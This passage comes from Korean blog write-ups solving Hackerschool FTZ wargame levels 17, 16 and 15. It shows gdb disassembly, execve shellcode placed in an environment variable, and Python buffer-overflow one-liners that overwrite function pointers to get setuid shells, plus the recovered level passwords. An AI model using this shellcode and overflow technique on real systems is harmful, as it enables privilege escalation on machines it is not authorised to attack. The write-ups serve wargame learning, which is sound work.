0x080484a8 <main+0>:    push   ebp
0x080484a9 <main+1>:    mov    ebp,esp
0x080484ab <main+3>:    sub    esp,0x38
0x080484ae <main+6>:    mov    DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>:   sub    esp,0x4
0x080484b8 <main+16>:   push   ds:0x804967c
0x080484be <main+22>:   push   0x30
0x080484c0 <main+24>:   lea    eax,[ebp-56]
0x080484c3 <main+27>:   push   eax
0x080484c4 <main+28>:   call   0x8048350 <fgets>
0x080484c9 <main+33>:   add    esp,0x10
0x080484cc <main+36>:   sub    esp,0x8
0x080484cf <main+39>:   push   0xc1a
0x080484d4 <main+44>:   push   0xc1a
0x080484d9 <main+49>:   call   0x8048380 <setreuid>
0x080484de <main+54>:   add    esp,0x10
0x080484e1 <main+57>:   mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:   call   eax
0x080484e6 <main+62>:   leave
0x080484e7 <main+63>:   ret

이전문제와 거리가 같네요.

ebp-56, ebp-16

이제 환경변수에 쉘코드를 넣어줍시다.

$export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv

[level17@ftz level17]$ export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level17@ftz tmp]$ gcc getenv.c -o getenv
[level17@ftz tmp]$ ./getenv
ADDR -> 0xbffffc8d


0xbffffc8d를 넣고 실행합시다.


(python -c 'print "A"*40+"\x8d\xfc\xff\xbf"'; cat) | ./attackme


[level17@ftz tmp]$ cd ..

[level17@ftz level17]$ (python -c 'print "A"*40+"\x8d\xfc\xff\xbf"'; cat) | ./attackme


my-pass

TERM environment variable not set.


Level18 Password is "why did you do it".



ㄱAㅈUㅏAAAAAAAAAAAAAAAAA


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL16] 풀이


M4ndU




해커스쿨 FTZ [LEVEL16] 풀이입니다.


ID | level16

PW | about to cause mass


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level16

level16@192.168.31.128's password:

[level16@ftz level16]$ ls -l

total 32

-rwsr-x---    1 level17  level16     14017 Mar  8  2003 attackme

-rw-r-----    1 root     root          235 Mar  8  2003 attackme.c

-rw-r-----    1 root     level16       235 Mar  8  2003 hint

drwxr-xr-x    2 root     level16      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level16      4096 Jan 11  2009 tmp

[level16@ftz level16]$ cat hint



#include <stdio.h>


void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();

}


20바이트의 buf에 48바이트 입력을 받고, call()를 하는데 printit함수의 주소를 call을 하는 것 같습니다.
우리는 shell함수를 call하도록 만들면 되겠네요.

변수 buf가 선언되고 *call이 선언되었으니  call부분을 덮어쓸 수 있을 것 같습니다.
이제 buf와 call의 거리를 계산해 봅시다.

[level16@ftz level16]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:    push   ebp
0x08048519 <main+1>:    mov    ebp,esp
0x0804851b <main+3>:    sub    esp,0x38
0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>:   sub    esp,0x4
0x08048528 <main+16>:   push   ds:0x80496e8
0x0804852e <main+22>:   push   0x30
0x08048530 <main+24>:   lea    eax,[ebp-56]
0x08048533 <main+27>:   push   eax
0x08048534 <main+28>:   call   0x8048384 <fgets>
0x08048539 <main+33>:   add    esp,0x10
0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:   call   eax
0x08048541 <main+41>:   leave
0x08048542 <main+42>:   ret


ebp-16에 0x8048500을 넣고
ebp-56에 입력값을 받으니

ebp-56이 buf이고, ebp-16이 call 인것 같습니다.
그러면 ebp-16에 들어간 0x8048500은 printit 함수의 시작주소이겠죠?
확인해 봅시다.

(gdb) disas printit

Dump of assembler code for function printit:

0x08048500 <printit+0>: push   ebp

0x08048501 <printit+1>: mov    ebp,esp

0x08048503 <printit+3>: sub    esp,0x8

0x08048506 <printit+6>: sub    esp,0xc

0x08048509 <printit+9>: push   0x80485c0

0x0804850e <printit+14>:        call   0x80483a4 <printf>

0x08048513 <printit+19>:        add    esp,0x10

0x08048516 <printit+22>:        leave

0x08048517 <printit+23>:        ret

End of assembler dump.


맞네요.
우리는 ebp-16의 값을 printit함수의 시작주소가 아닌 shell함수의 시작주소로 바꿔주는 것이 목표이므로
shell함수의 시작주소도 확인해 봅시다.

(gdb) disas shell

Dump of assembler code for function shell:

0x080484d0 <shell+0>:   push   ebp

0x080484d1 <shell+1>:   mov    ebp,esp

0x080484d3 <shell+3>:   sub    esp,0x8

0x080484d6 <shell+6>:   sub    esp,0x8

0x080484d9 <shell+9>:   push   0xc19

0x080484de <shell+14>:  push   0xc19

0x080484e3 <shell+19>:  call   0x80483b4 <setreuid>

0x080484e8 <shell+24>:  add    esp,0x10

0x080484eb <shell+27>:  sub    esp,0xc

0x080484ee <shell+30>:  push   0x80485b8

0x080484f3 <shell+35>:  call   0x8048364 <system>

0x080484f8 <shell+40>:  add    esp,0x10

0x080484fb <shell+43>:  leave

0x080484fc <shell+44>:  ret



shell함수의 시작주소는 0x080484d0 이네요.
이제 익스플로잇을 작성합시다!

(python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme


[level16@ftz level16]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme


my-pass


Level17 Password is "king poetic".



성공입니다! Ga즈Aㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL15] 풀이


M4ndU




해커스쿨 FTZ [LEVEL15] 풀이입니다.


ID | level15

PW | guess what


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level15

level15@192.168.31.128's password:

[level15@ftz level15]$ ls -l

total 28

-rwsr-x---    1 level16  level15     13801 Dec 10  2002 attackme

-rw-r-----    1 root     level15       185 Dec 10  2002 hint

drwxr-xr-x    2 root     level15      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level15      4096 Jan 11  2009 tmp

[level15@ftz level15]$ cat hint


#include <stdio.h>


main()

{ int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

}


level14 문제와 같아 보이는데 이번에 check가 포인터네요.

check의 값에 0xdeadbeef가 존재하는 곳의 주소를 넣어주어야 합니다.


gdb를 통해서 0xdeadbeef가 존재하는 주소를 찾아봅시다.


[level15@ftz level15]$ gdb -q attackme

(gdb) x/20x main

0x8048490 <main>:       0x83e58955      0xec8338ec      0x6435ff04      0x6a080496

0x80484a0 <main+16>:    0xc8458d2d      0xfeb6e850      0xc483ffff      0xf0458b10

0x80484b0 <main+32>:    0xbeef3881      0x2575dead      0x6808ec83      0x00000c18

0x80484c0 <main+48>:    0x000c1868      0xfeb6e800      0xc483ffff      0x0cec8310

0x80484d0 <main+64>:    0x04854868      0xfe66e808      0xc483ffff      0x90c3c910

(gdb) x/x 0x80484b0
0x80484b0 <main+32>:    0xbeef3881
(gdb) x/x 0x80484b1
0x80484b1 <main+33>:    0xadbeef38
(gdb) x/x 0x80484b2
0x80484b2 <main+34>:    0xdeadbeef
(gdb)

0x80484b2에 있네요.

이제 check의 값을 0x80484b2로 덮어줍시다.
스택구조는 같습니다.

(python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme


[level15@ftz level15]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme
my-pass

Level16 Password is "about to cause mass".



AAAAAAAAAAAAAAAAAUZAG


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (4) 2018.02.09

+ Recent posts